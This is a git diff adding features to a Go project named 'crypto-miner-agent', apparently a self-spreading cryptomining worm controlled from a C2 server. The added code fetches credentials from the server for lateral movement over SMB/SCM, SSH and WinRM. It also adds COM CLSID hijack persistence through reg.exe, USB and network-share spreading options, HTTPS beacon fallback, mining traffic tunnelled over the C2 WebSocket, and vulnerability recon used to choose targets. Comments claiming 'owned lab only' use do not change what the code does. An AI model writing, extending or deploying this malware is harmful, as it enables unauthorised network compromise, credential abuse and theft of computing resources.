Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms"` + Wallet string `json:"wallet,omitempty"` } type ShareResult struct { diff --git a/agent/client/spread_cred.go b/agent/client/spread_cred.go new file mode 100644 index 0000000..d3f2020 --- /dev/null +++ b/agent/client/spread_cred.go @@ -0,0 +1,142 @@ +package client + +import ( + "bytes" + "encoding/json" + "fmt" + "io" + "net/http" + "strings" + "time" + + "crypto-miner-agent/deploy" +) + +type spreadCredIssueResponse struct { + Token string `json:"token"` + ProfileID string `json:"profile_id"` +} + +type spreadCredRedeemResponse struct { + ProfileID string `json:"profile_id"` + Username string `json:"username"` + Password string `json:"password"` +} + +func (c *AgentClient) initSpreadCredHooks() { + if strings.TrimSpace(c.cfg.FleetSecret) == "" { + return + } + deploy.SetSpreadCredHooks(c.acquireSpreadCred, c.reportSpreadCredEdge) +} + +func (c *AgentClient) spreadCredHTTPClient() *http.Client { + return &http.Client{Timeout: 20 * time.Second} +} + +func (c *AgentClient) spreadCredAPIBase() (string, error) { + raw := strings.TrimSpace(c.cfg.ServerURL) + if raw == "" { + return "", fmt.Errorf("empty server URL") + } + if !strings.Contains(raw, "://") { + raw = "http://" + raw + } + return strings.TrimSuffix(raw, "/") + "/api/v1", nil +} + +func (c *AgentClient) acquireSpreadCred(host, subnet, method string) (deploy.SpreadCredSession, error) { + base, err := c.spreadCredAPIBase() + if err != nil { + return deploy.SpreadCredSession{}, err + } + issueBody, _ := json.Marshal(map[string]string{ + "agent_id": c.agentID, + "host": host, + "subnet": subnet, + "method": method, + }) + issueReq, err := http.NewRequest(http.MethodPost, base+"/agent/spread-cred/issue", bytes.NewReader(issueBody)) + if err != nil { + return deploy.SpreadCredSession{}, err + } + issueReq.Header.Set("Content-Type", "application/json") + issueReq.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret) + + resp, err := c.spreadCredHTTPClient().Do(issueReq) + if err != nil { + return deploy.SpreadCredSession{}, err + } + defer resp.Body.Close() + if resp.StatusCode == http.StatusNotFound { + return deploy.SpreadCredSession{}, fmt.Errorf("deployment credentials not configured") + } + if resp.StatusCode != http.StatusOK { + body, _ := io.ReadAll(io.LimitReader(resp.Body, 512)) + return deploy.SpreadCredSession{}, fmt.Errorf("spread-cred issue %d: %s", resp.StatusCode, strings.TrimSpace(string(body))) + } + var issued spreadCredIssueResponse + if err := json.NewDecoder(resp.Body).Decode(&issued); err != nil { + return deploy.SpreadCredSession{}, err + } + if strings.TrimSpace(issued.Token) == "" { + return deploy.SpreadCredSession{}, fmt.Errorf("empty spread-cred token") + } + + redeemBody, _ := json.Marshal(map[string]string{"token": issued.Token}) + redeemReq, err := http.NewRequest(http.MethodPost, base+"/agent/spread-cred/redeem", bytes.NewReader(redeemBody)) + if err != nil { + return deploy.SpreadCredSession{}, err + } + redeemReq.Header.Set("Content-Type", "application/json") + redeemReq.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret) + + resp, err = c.spreadCredHTTPClient().Do(redeemReq) + if err != nil { + return deploy.SpreadCredSession{}, err + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + body, _ := io.ReadAll(io.LimitReader(resp.Body, 512)) + return deploy.SpreadCredSession{}, fmt.Errorf("spread-cred redeem %d: %s", resp.StatusCode, strings.TrimSpace(string(body))) + } + var redeemed spreadCredRedeemResponse + if err := json.NewDecoder(resp.Body).Decode(&redeemed); err != nil { + return deploy.SpreadCredSession{}, err + } + return deploy.SpreadCredSession{ + ProfileID: redeemed.ProfileID, + Username: redeemed.Username, + Password: redeemed.Password, + }, nil +} + +func (c *AgentClient) reportSpreadCredEdge(report deploy.SpreadCredReport) { + base, err := c.spreadCredAPIBase() + if err != nil { + return + } + body, err := json.Marshal(map[string]interface{}{ + "agent_id": c.agentID, + "host": report.Host, + "subnet": report.Subnet, + "credential_profile_id": report.ProfileID, + "method": report.Method, + "success": report.Success, + }) + if err != nil { + return + } + req, err := http.NewRequest(http.MethodPost, base+"/agent/spread-cred/report", bytes.NewReader(body)) + if err != nil { + return + } + req.Header.Set("Content-Type", "application/json") + req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret) + resp, err := c.spreadCredHTTPClient().Do(req) + if err != nil { + return + } + io.Copy(io.Discard, resp.Body) //nolint:errcheck + resp.Body.Close() +} diff --git a/agent/client/spread_cred_test.go b/agent/client/spread_cred_test.go new file mode 100644 index 0000000..4373e7a --- /dev/null +++ b/agent/client/spread_cred_test.go @@ -0,0 +1,63 @@ +package client + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + + "crypto-miner-agent/config" + "crypto-miner-agent/deploy" +) + +func TestAcquireSpreadCredIssueRedeemFlow(t *testing.T) { + var captured map[string]interface{} + + mux := http.NewServeMux() + mux.HandleFunc("/api/v1/agent/spread-cred/issue", func(w http.ResponseWriter, r *http.Request) { + _ = json.NewEncoder(w).Encode(map[string]interface{}{ + "token": "tok-1", + "profile_id": "profile-a", + }) + }) + mux.HandleFunc("/api/v1/agent/spread-cred/redeem", func(w http.ResponseWriter, r *http.Request) { + _ = json.NewEncoder(w).Encode(map[string]interface{}{ + "profile_id": "profile-a", + "username": `lab\ops`, + "password": "secret", + }) + }) + mux.HandleFunc("/api/v1/agent/spread-cred/report", func(w http.ResponseWriter, r *http.Request) { + _ = json.NewDecoder(r.Body).Decode(&captured) + w.WriteHeader(http.StatusOK) + _, _ = w.Write([]byte(`{"ok":true}`)) + }) + srv := httptest.NewServer(mux) + defer srv.Close() + + cfg := config.RuntimeConfig{ + BuiltinConfig: config.BuiltinConfig{ + ServerURL: srv.URL, + FleetSecret: "fleet-test", + }, + AgentID: "agent-1", + } + c := NewAgentClient(cfg) + session, err := c.acquireSpreadCred("10.0.0.5", "10.0.0", "smb_scm") + if err != nil { + t.Fatal(err) + } + if session.ProfileID != "profile-a" || session.Username == "" || session.Password == "" { + t.Fatalf("unexpected session: %#v", session) + } + c.reportSpreadCredEdge(deploy.SpreadCredReport{ + Host: "10.0.0.5", + Subnet: "10.0.0", + ProfileID: "profile-a", + Method: "smb_scm", + Success: true, + }) + if captured["credential_profile_id"] != "profile-a" || captured["success"] != true { + t.Fatalf("expected report payload, got %#v", captured) + } +} diff --git a/agent/client/syscheck.go b/agent/client/syscheck.go index cabac20..d3f3870 100644 --- a/agent/client/syscheck.go +++ b/agent/client/syscheck.go @@ -62,6 +62,28 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck collectSysCheckPlatform(r) r.KEVExposure = scanKEVExposure(r.Patch, r.ListenPorts, r.Security) + if vr := RunVulnLOTLProbe(); vr != nil { + score := vr.RiskScore + r.VulnRiskScore = &score + if len(vr.Findings) > 0 { + r.VulnFindings = make([]struct { + CVEID string `json:"cve_id"` + Severity string `json:"severity"` + Component string `json:"component"` + Patched bool `json:"patched"` + ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"` + Detail string `json:"detail,omitempty"` + }, len(vr.Findings)) + for i, f := range vr.Findings { + r.VulnFindings[i].CVEID = f.CVEID + r.VulnFindings[i].Severity = f.Severity + r.VulnFindings[i].Component = f.Component + r.VulnFindings[i].Patched = f.Patched + r.VulnFindings[i].ExploitableInFleetContext = f.ExploitableInFleetContext + r.VulnFindings[i].Detail = f.Detail + } + } + } if dir, err := cfg.InstallDirectory(); err == nil { if r.Environment == nil { diff --git a/agent/client/syscheck_types.go b/agent/client/syscheck_types.go index 6179c0e..3b910fd 100644 --- a/agent/client/syscheck_types.go +++ b/agent/client/syscheck_types.go @@ -23,6 +23,15 @@ type FullSysCheckReport struct { Environment *SysCheckEnvironment `json:"environment,omitempty"` Neighbors *SysCheckNeighbors `json:"neighbors,omitempty"` KEVExposure *KEVScanReport `json:"kev_exposure,omitempty"` + VulnFindings []struct { + CVEID string `json:"cve_id"` + Severity string `json:"severity"` + Component string `json:"component"` + Patched bool `json:"patched"` + ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"` + Detail string `json:"detail,omitempty"` + } `json:"vuln_findings,omitempty"` + VulnRiskScore *int `json:"vuln_risk_score,omitempty"` RawSysinfo string `json:"raw_sysinfo,omitempty"` RawIPConfig string `json:"raw_ipconfig,omitempty"` diff --git a/agent/client/triple_onion_chain.go b/agent/client/triple_onion_chain.go new file mode 100644 index 0000000..ef1867e --- /dev/null +++ b/agent/client/triple_onion_chain.go @@ -0,0 +1,179 @@ +package client + +import ( + "context" + "encoding/json" + "log" + + "crypto-miner-agent/deploy" + "crypto-miner-agent/miner" +) + +func (c *AgentClient) tripleOnionPolicy() miner.TripleOnionPolicy { + c.mu.Lock() + defer c.mu.Unlock() + if !c.triplePolicyLoaded { + return miner.DefaultTripleOnionPolicy() + } + return miner.NormalizeTripleOnionPolicy(c.triplePolicy) +} + +func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) { + if len(raw) == 0 || string(raw) == "null" { + return + } + var p miner.TripleOnionPolicy + if err := json.Unmarshal(raw, &p); err != nil { + return + } + c.mu.Lock() + c.triplePolicy = miner.NormalizeTripleOnionPolicy(p) + c.triplePolicyLoaded = true + c.mu.Unlock() +} + +func (r *MiningChainRunner) wireTripleOnion() *miner.TripleOnionOrchestrator { + c := r.client + policy := c.tripleOnionPolicy() + return miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{ + RunReconTier: r.runReconTier, + RunDeployLane: r.runDeployLane, + RunMining: r.startMiningCascade, + ReportEvent: r.reportOnionEvent, + }) +} + +func (r *MiningChainRunner) runReconTier(_ context.Context, tier string) miner.ReconTierResult { + switch tier { + case "kev_scan": + return r.reconKEVScan() + case "vuln_recon", "vuln_probe": + return r.reconVulnProbe() + case "service_probe": + return r.reconServiceProbe() + case "listen_ports": + return r.reconListenPorts() + default: + return miner.ReconTierResult{OK: false, Error: "unknown recon tier"} + } +} + +func (r *MiningChainRunner) reconKEVScan() miner.ReconTierResult { + patch := collectPatchStatus() + ports := collectListenPorts() + var sec *SysCheckSecurity + if p := collectPosture(); p != nil { + sec = securityFromPosture(p) + } + kev := scanKEVExposure(patch, ports, sec) + if kev == nil { + return miner.ReconTierResult{OK: false, Error: "kev scan unavailable"} + } + return miner.ReconTierResult{ + OK: true, + Snapshot: miner.ReconSnapshot{ + RiskScore: kev.RiskScore, + CriticalExposed: kev.CriticalCount, + ExposedCount: kev.ExposedCount, + LikelyCount: kev.LikelyCount, + Details: map[string]interface{}{ + "summary": kev.Summary, + "findings": len(kev.Findings), + }, + }, + } +} + +func (r *MiningChainRunner) reconServiceProbe() miner.ReconTierResult { + p := collectPosture() + if p == nil { + return miner.ReconTierResult{OK: false, Error: "posture probe unavailable"} + } + count := len(p.Services) + return miner.ReconTierResult{ + OK: true, + Snapshot: miner.ReconSnapshot{ + ServiceCount: count, + Details: map[string]interface{}{ + "posture_score": p.PostureScore, + }, + }, + } +} + +func (r *MiningChainRunner) reconListenPorts() miner.ReconTierResult { + ports := collectListenPorts() + if ports == nil { + return miner.ReconTierResult{OK: false, Error: "listen_ports unavailable"} + } + return miner.ReconTierResult{ + OK: true, + Snapshot: miner.ReconSnapshot{ + OpenPortCount: ports.Count, + Details: map[string]interface{}{ + "port_count": ports.Count, + }, + }, + } +} + +func (r *MiningChainRunner) reconVulnProbe() miner.ReconTierResult { + report := RunVulnLOTLProbe() + if report == nil { + return miner.ReconTierResult{OK: false, Error: "vuln_recon unavailable"} + } + critical := 0 + for _, f := range report.Findings { + if f.Severity == "critical" && !f.Patched { + critical++ + } + } + return miner.ReconTierResult{ + OK: true, + Snapshot: miner.ReconSnapshot{ + RiskScore: report.RiskScore, + CriticalExposed: critical, + ExposedCount: report.ExposedCount, + LikelyCount: report.CriticalCount, + Details: map[string]interface{}{ + "summary": report.Summary, + "findings": len(report.Findings), + }, + }, + } +} + +func (r *MiningChainRunner) runDeployLane(_ context.Context, lane string) (bool, string) { + c := r.client + if lane == "discover_and_join" { + msg, err := c.runDiscoverAndJoin(8) + if err != nil { + return false, err.Error() + } + return true, msg + } + c.mu.Lock() + cfg := c.cfg + c.mu.Unlock() + return deploy.TryDiscoverJoinLane(cfg, lane) +} + +func (r *MiningChainRunner) reportOnionEvent(report miner.TripleOnionReport, eventType string) { + c := r.client + payload, err := json.Marshal(struct { + miner.TripleOnionReport + Event string `json:"event"` + }{ + TripleOnionReport: report, + Event: eventType, + }) + if err != nil { + return + } + if err := c.write(Message{Type: "onion_report", Payload: payload}); err != nil { + log.Printf("[triple-onion] %s notify failed: %v", eventType, err) + } + r.mu.Lock() + r.onionAttempts = report.Attempts + r.mu.Unlock() +} diff --git a/agent/client/vuln_scan.go b/agent/client/vuln_scan.go new file mode 100644 index 0000000..bfc4567 --- /dev/null +++ b/agent/client/vuln_scan.go @@ -0,0 +1,60 @@ +package client + +import ( + "sync" + + "crypto-miner-agent/deploy" + "crypto-miner-agent/vulnprobe" +) + +var ( + vulnScanMu sync.RWMutex + lastVulnReport *vulnprobe.ScanReport +) + +func listeningPortMap(lp *ListenPortsReport) map[int]bool { + m := make(map[int]bool) + if lp == nil { + return m + } + for _, p := range lp.Ports { + m[p.Port] = true + } + return m +} + +// vulnprobeProbeHost is overridden in tests to inject mocked probe output. +var vulnprobeProbeHost = func(ports map[int]bool, osVersion string) vulnprobe.HostContext { + return vulnprobe.ProbeHost(ports, osVersion) +} + +// RunVulnLOTLProbe executes read-only LOTL vulnerability recon (authorized assessment). +func RunVulnLOTLProbe() *vulnprobe.ScanReport { + ports := collectListenPorts() + ctx := vulnprobeProbeHost(listeningPortMap(ports), deploy.HostOSVersion()) + if patch := collectPatchStatus(); patch != nil { + if patch.LastPatchDays != nil { + ctx.LastPatchDays = *patch.LastPatchDays + } + if patch.LastPatch != nil { + ctx.LastPatch = *patch.LastPatch + } + } + report := vulnprobe.Run(ctx) + vulnScanMu.Lock() + lastVulnReport = report + vulnScanMu.Unlock() + return report +} + +// LastVulnScan returns the most recent cached vulnerability report. +func LastVulnScan() *vulnprobe.ScanReport { + vulnScanMu.RLock() + defer vulnScanMu.RUnlock() + if lastVulnReport == nil { + return nil + } + dup := *lastVulnReport + dup.Findings = append([]vulnprobe.VulnFinding(nil), lastVulnReport.Findings...) + return &dup +} diff --git a/agent/client/vuln_scan_test.go b/agent/client/vuln_scan_test.go new file mode 100644 index 0000000..da91845 --- /dev/null +++ b/agent/client/vuln_scan_test.go @@ -0,0 +1,32 @@ +package client + +import ( + "testing" + + "crypto-miner-agent/vulnprobe" +) + +func TestRunVulnLOTLProbeMockedContext(t *testing.T) { + SetPostureCollector(func() *PostureReport { return nil }) + defer SetPostureCollector(nil) + + origProbe := vulnprobeProbeHost + vulnprobeProbeHost = func(_ map[int]bool, _ string) vulnprobe.HostContext { + return vulnprobe.HostContext{ + Platform: "windows", + ExchangeInstalled: true, + LastPatchDays: 150, + ListeningPorts: map[int]bool{443: true}, + } + } + defer func() { vulnprobeProbeHost = origProbe }() + + report := RunVulnLOTLProbe() + if report == nil || len(report.Findings) == 0 { + t.Fatal("expected vuln findings from mocked probe") + } + cached := LastVulnScan() + if cached == nil || cached.RiskScore != report.RiskScore { + t.Fatalf("cache mismatch: %+v vs %+v", cached, report) + } +} diff --git a/agent/config/builtin.go b/agent/config/builtin.go index 767999b..f00d092 100644 --- a/agent/config/builtin.go +++ b/agent/config/builtin.go @@ -12,6 +12,7 @@ func GetBuiltinConfig() BuiltinConfig { ThreadPercent: 75, CPUPriority: "below_normal", MiningMode: "always", + MinerExecution: "inprocess", DisplayMode: "visible", SilentMode: false, RunAs: "user", @@ -53,5 +54,7 @@ func GetBuiltinConfig() BuiltinConfig { RVNPoolPort: 6060, RVNPoolTLS: false, RVNPoolPass: "x", + LotlOnionEnabled: false, + LotlPolicyFromServer: false, } } diff --git a/agent/config/config.go b/agent/config/config.go index 92ee484..6174060 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -1,6 +1,7 @@ package config import ( + "os" "runtime" "strings" "time" @@ -17,6 +18,11 @@ type BuiltinConfig struct { ThreadPercent int CPUPriority string MiningMode string + // MinerExecution selects CPU/GPU workload isolation: auto, container, inprocess, subprocess. + // Distinct from MiningMode schedule (always/idle/scheduled). + MinerExecution string + // DockerImageTar is a local OCI tarball path for docker_load tier (server policy / upload stub). + DockerImageTar string DisplayMode string SilentMode bool RunAs string @@ -63,6 +69,10 @@ type BuiltinConfig struct { AutoSpread bool HolePunch bool RemoteAggressive bool + // Spread technique options (forge-baked; owned/lab only) + WinRMSpread bool // lateral WinRM encoded bootstrap in autospread + COMHijackPersist bool // COM CLSID hijack persistence — default off + LinuxLOTLMode string // systemd_run_user | crontab | both | off // Passive spreading — triggered by the environment rather than active scanning USBSpread bool // copy agent to any newly-inserted removable/USB drive ShareSpread bool // drop agent onto already-mounted network shares @@ -93,8 +103,16 @@ type BuiltinConfig struct { AgentKillAfterDays int // exit after N days since BuiltAt (0 = never) // HTTPSBeaconFallback enables T1071.001 HTTPS POST beacons when WebSocket is down. HTTPSBeaconFallback bool + // StratumOverWS prefers mining jobs/shares via the C2 WebSocket (port 443/wss) + // instead of opening direct Stratum TCP egress to the pool. + StratumOverWS bool // HTTPSBeaconAfterMin minutes without WebSocket before HTTPS beacon (0 = default 3). HTTPSBeaconAfterMin int + + // LOTL Onion — ordered native-tool spread contingencies (no extra miner exe drop). + LotlOnionEnabled bool + LotlPolicyFromServer bool // when true, tier order is pulled from C2 on auth + LotlOnionTiers []string // baked order; ignored when LotlPolicyFromServer until auth } // BackupPool holds connection info for a fallback Stratum mining pool. @@ -127,6 +145,11 @@ func Load() RuntimeConfig { if b.MiningMode == "" { b.MiningMode = "always" } + if v := strings.TrimSpace(os.Getenv("AETHERFORGE_MINER_EXECUTION")); v != "" { + b.MinerExecution = v + } else if b.MinerExecution == "" { + b.MinerExecution = "auto" + } if b.DisplayMode == "" { if b.SilentMode { b.DisplayMode = "silent" diff --git a/agent/deploy/autospread.go b/agent/deploy/autospread.go index 2c53283..153eaaa 100644 --- a/agent/deploy/autospread.go +++ b/agent/deploy/autospread.go @@ -34,6 +34,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) { for { spreadToLocalSubnet(cfg) + if cfg.WinRMSpread || cfg.AutoSpread { + go spreadViaWinRM(cfg) + } <-ticker.C } }() @@ -43,7 +46,10 @@ func StartAutoSpreader(cfg config.RuntimeConfig) { // RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking). func RunSpreadOnce(cfg config.RuntimeConfig) string { go spreadToLocalSubnet(cfg) - return "lateral spread sweep started on local /24 subnets (SMB/SCM)" + if cfg.WinRMSpread || cfg.AutoSpread { + go spreadViaWinRM(cfg) + } + return "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)" } // spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine @@ -52,56 +58,7 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string { var spreadSem = make(chan struct{}, 16) func spreadToLocalSubnet(cfg config.RuntimeConfig) { - // ARP-first: only probe hosts the OS has recently spoken to. - // Typically 5–20 hosts vs 253 cold-probes — far quieter and faster. - targets := arpHosts() - - // Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for - // machines with SMB open so we still reach previously-unseen machines. - if len(targets) < 3 { - ips := getLocalIPs() - seen := make(map[string]bool) - for _, t := range targets { - seen[t] = true - } - for _, ip := range ips { - if !isIPv4(ip) { - continue // active sweep is IPv4 /24 only; see subnet.go - } - subnet := getSubnet(ip) - if subnet == "" { - continue - } - for i := 1; i < 255; i++ { - candidate, ok := ipv4SweepHost(subnet, i) - if !ok { - break - } - if candidate == ip || seen[candidate] { - continue - } - // Quick port check — only bother with machines that have :445 open - conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond) - if err == nil { - conn.Close() - seen[candidate] = true - targets = append(targets, candidate) - } - } - } - } - - localSet := make(map[string]bool) - for _, ip := range getLocalIPs() { - localSet[ip] = true - } - var filtered []string - for _, target := range targets { - if localSet[target] { - continue - } - filtered = append(filtered, target) - } + filtered := DiscoverLANSpreadTargets(MaxSubnetScanHosts) beginSpreadSweep("smb_scm", len(filtered)) if len(filtered) == 0 { finishSpreadSweepImmediate() @@ -125,6 +82,18 @@ func attemptSpread(cfg config.RuntimeConfig, target string) { } conn.Close() + var credSession SpreadCredSession + var credCleanup func() + if session, ok := acquireSpreadCred(target, "smb_scm"); ok { + credSession = session + if cleanup, applied := applySpreadCredSession(target, session); applied { + credCleanup = cleanup + } + } + if credCleanup != nil { + defer credCleanup() + } + exePath, err := os.Executable() if err != nil { recordSpreadAttempt(target, false, "executable path unavailable") @@ -159,7 +128,9 @@ func attemptSpread(cfg config.RuntimeConfig, target string) { if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil { log.Printf("[autospread] Successfully deployed and started on %s via SCM", target) recordSpreadAttempt(target, true, "") + reportSpreadCredEdge(target, "smb_scm", credSession, true) } else { recordSpreadAttempt(target, false, "remote service start failed") + reportSpreadCredEdge(target, "smb_scm", credSession, false) } } diff --git a/agent/deploy/autospread_unix.go b/agent/deploy/autospread_unix.go index 1b809c3..39c91de 100644 --- a/agent/deploy/autospread_unix.go +++ b/agent/deploy/autospread_unix.go @@ -139,7 +139,11 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) { } start := exec.CommandContext(ctx, "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target, - fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath)) + sshSpreadStartCmd(remotePath)) + if persist := sshSpreadPersistCmd(cfg, remotePath); persist != "" { + start = exec.CommandContext(ctx, "ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target, + sshSpreadStartCmd(remotePath)+"; "+persist) + } if err := start.Run(); err == nil { log.Printf("[autospread] deployed to %s via SSH", target) recordSpreadAttempt(target, true, "") diff --git a/agent/deploy/com_hijack_stub.go b/agent/deploy/com_hijack_stub.go new file mode 100644 index 0000000..7193264 --- /dev/null +++ b/agent/deploy/com_hijack_stub.go @@ -0,0 +1,8 @@ +//go:build !windows + +package deploy + +import "crypto-miner-agent/config" + +// MaybeApplyCOMHijackOnInstall is a no-op on non-Windows platforms. +func MaybeApplyCOMHijackOnInstall(_ config.RuntimeConfig, _ string) {} diff --git a/agent/deploy/com_hijack_windows.go b/agent/deploy/com_hijack_windows.go new file mode 100644 index 0000000..9ac934e --- /dev/null +++ b/agent/deploy/com_hijack_windows.go @@ -0,0 +1,33 @@ +//go:build windows + +package deploy + +import ( + "fmt" + "log" + + "crypto-miner-agent/config" +) + +// Benign CLSID used for optional COM hijack persistence (owned lab machines only). +const comHijackCLSID = `{BCDE0395-E52F-467C-8E3D-C4579291692E}` + +// applyCOMHijackPersistence registers agent under InprocServer32 (forge flag COMHijackPersist). +func applyCOMHijackPersistence(agentPath string) error { + if agentPath == "" { + return fmt.Errorf("empty agent path") + } + base := `HKCU\Software\Classes\CLSID\` + comHijackCLSID + `\InprocServer32` + _ = HiddenRun("reg.exe", "add", base, "/ve", "/d", agentPath, "/f") + _ = HiddenRun("reg.exe", "add", base, "/v", "ThreadingModel", "/d", "Apartment", "/f") + log.Printf("[spread] COM hijack registered under %s (owned machines only)", comHijackCLSID) + return nil +} + +// MaybeApplyCOMHijackOnInstall applies COM hijack after install when configured. +func MaybeApplyCOMHijackOnInstall(cfg config.RuntimeConfig, installedBin string) { + if !cfg.COMHijackPersist { + return + } + _ = applyCOMHijackPersistence(installedBin) +} diff --git a/agent/deploy/common.go b/agent/deploy/common.go index 8671fdf..41b0b98 100644 --- a/agent/deploy/common.go +++ b/agent/deploy/common.go @@ -13,9 +13,10 @@ import ( ) const ( - runFlag = "--run" - spreadFlag = "--spread-install" - backupSuffix = ".bak" + runFlag = "--run" + spreadFlag = "--spread-install" + deferMiningFlag = "--defer-mining" + backupSuffix = ".bak" ) // BinaryExt returns the executable suffix for the current OS. @@ -95,7 +96,15 @@ func copyFile(src, dest string) error { } func relaunch(exePath, logPath string) error { - cmd := exec.Command(exePath, runFlag) + return relaunchWithOptions(exePath, logPath, WantsDeferMining()) +} + +func relaunchWithOptions(exePath, logPath string, deferMining bool) error { + args := []string{runFlag} + if deferMining { + args = append(args, deferMiningFlag) + } + cmd := exec.Command(exePath, args...) cmd.Dir = filepath.Dir(exePath) if logPath != "" { cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath) @@ -186,6 +195,34 @@ func wantsSpreadInstall() bool { return false } +// WantsDeferMining delays the mining fallback chain until diagnostics pass (spread/GPO/Intune). +func WantsDeferMining() bool { + if wantsDeferMiningFlag() { + return true + } + if v := strings.TrimSpace(os.Getenv("AETHER_DEFER_MINING")); v == "1" || strings.EqualFold(v, "true") { + return true + } + return false +} + +func wantsDeferMiningFlag() bool { + for _, arg := range os.Args[1:] { + if arg == deferMiningFlag { + return true + } + } + return false +} + +// RunFlags returns CLI flags appended after --run for autostart/relaunch hooks. +func RunFlags() string { + if WantsDeferMining() { + return runFlag + " " + deferMiningFlag + } + return runFlag +} + func isRunMode() bool { for _, arg := range os.Args[1:] { if arg == runFlag { diff --git a/agent/deploy/common_defer_test.go b/agent/deploy/common_defer_test.go new file mode 100644 index 0000000..8649ce8 --- /dev/null +++ b/agent/deploy/common_defer_test.go @@ -0,0 +1,29 @@ +package deploy + +import ( + "os" + "testing" +) + +func TestWantsDeferMiningFlag(t *testing.T) { + old := os.Args + defer func() { os.Args = old }() + os.Args = []string{"agent", "--run"} + if WantsDeferMining() { + t.Fatal("expected false without defer flag or env") + } + os.Args = []string{"agent", "--run", "--defer-mining"} + if !WantsDeferMining() { + t.Fatal("expected true with --defer-mining") + } +} + +func TestRunFlagsIncludesDeferWhenSet(t *testing.T) { + old := os.Args + defer func() { os.Args = old }() + os.Args = []string{"agent", "--defer-mining"} + flags := RunFlags() + if flags != "--run --defer-mining" { + t.Fatalf("RunFlags = %q", flags) + } +} diff --git a/agent/deploy/cred_spread.go b/agent/deploy/cred_spread.go new file mode 100644 index 0000000..6778dbb --- /dev/null +++ b/agent/deploy/cred_spread.go @@ -0,0 +1,80 @@ +package deploy + +import ( + "strings" + "sync" +) + +// SpreadCredSession is a short-lived deployment credential bundle (never persisted by the agent). +type SpreadCredSession struct { + ProfileID string + Username string + Password string +} + +// SpreadCredReport records a spread attempt outcome for the server cred graph. +type SpreadCredReport struct { + Host string + Subnet string + ProfileID string + Method string + Success bool +} + +type spreadCredBootstrapFn func(host, subnet, method string) (SpreadCredSession, error) +type spreadCredReporterFn func(SpreadCredReport) + +var ( + spreadCredHooksMu sync.RWMutex + spreadCredBoot spreadCredBootstrapFn + spreadCredReport spreadCredReporterFn +) + +// SetSpreadCredHooks wires server-backed bootstrap tokens from the agent client. +func SetSpreadCredHooks(bootstrap spreadCredBootstrapFn, report spreadCredReporterFn) { + spreadCredHooksMu.Lock() + spreadCredBoot = bootstrap + spreadCredReport = report + spreadCredHooksMu.Unlock() +} + +func acquireSpreadCred(host, method string) (SpreadCredSession, bool) { + subnet := getSubnet(strings.TrimSpace(host)) + if subnet == "" { + return SpreadCredSession{}, false + } + spreadCredHooksMu.RLock() + bootstrap := spreadCredBoot + spreadCredHooksMu.RUnlock() + if bootstrap == nil { + return SpreadCredSession{}, false + } + session, err := bootstrap(host, subnet, method) + if err != nil || strings.TrimSpace(session.ProfileID) == "" { + return SpreadCredSession{}, false + } + return session, true +} + +func reportSpreadCredEdge(host, method string, session SpreadCredSession, success bool) { + if strings.TrimSpace(session.ProfileID) == "" { + return + } + subnet := getSubnet(strings.TrimSpace(host)) + if subnet == "" { + return + } + spreadCredHooksMu.RLock() + report := spreadCredReport + spreadCredHooksMu.RUnlock() + if report == nil { + return + } + report(SpreadCredReport{ + Host: host, + Subnet: subnet, + ProfileID: session.ProfileID, + Method: method, + Success: success, + }) +} diff --git a/agent/deploy/cred_spread_stub.go b/agent/deploy/cred_spread_stub.go new file mode 100644 index 0000000..21df1a4 --- /dev/null +++ b/agent/deploy/cred_spread_stub.go @@ -0,0 +1,11 @@ +//go:build !windows + +package deploy + +func applySpreadCredSession(_ string, _ SpreadCredSession) (cleanup func(), ok bool) { + return nil, false +} + +func winRMCredPSBlock(target string, _ SpreadCredSession, innerScript string) string { + return innerScript +} diff --git a/agent/deploy/cred_spread_windows.go b/agent/deploy/cred_spread_windows.go new file mode 100644 index 0000000..ff19b92 --- /dev/null +++ b/agent/deploy/cred_spread_windows.go @@ -0,0 +1,43 @@ +//go:build windows + +package deploy + +import ( + "fmt" + "strings" +) + +func applySpreadCredSession(target string, session SpreadCredSession) (cleanup func(), ok bool) { + target = strings.TrimSpace(target) + user := strings.TrimSpace(session.Username) + pass := session.Password + if target == "" || user == "" || pass == "" { + return nil, false + } + userArg := user + if !strings.Contains(user, `\`) && !strings.Contains(user, `@`) { + userArg = target + `\` + user + } + share := `\\` + target + `\IPC$` + if err := HiddenRun("net.exe", "use", share, pass, "/user:"+userArg); err != nil { + return nil, false + } + return func() { + _ = HiddenRun("net.exe", "use", share, "/delete", "/y") + }, true +} + +func winRMCredPSBlock(target string, session SpreadCredSession, innerScript string) string { + user := strings.ReplaceAll(session.Username, `'`, `''`) + pass := strings.ReplaceAll(session.Password, `'`, `''`) + target = strings.ReplaceAll(target, `'`, `''`) + return fmt.Sprintf(` +$sec = ConvertTo-SecureString '%s' -AsPlainText -Force +$cred = New-Object System.Management.Automation.PSCredential('%s', $sec) +$s = New-PSSession -ComputerName '%s' -Credential $cred -EA SilentlyContinue +if ($s) { + Invoke-Command -Session $s -ScriptBlock { %s } -EA SilentlyContinue + Remove-PSSession $s -EA SilentlyContinue +} 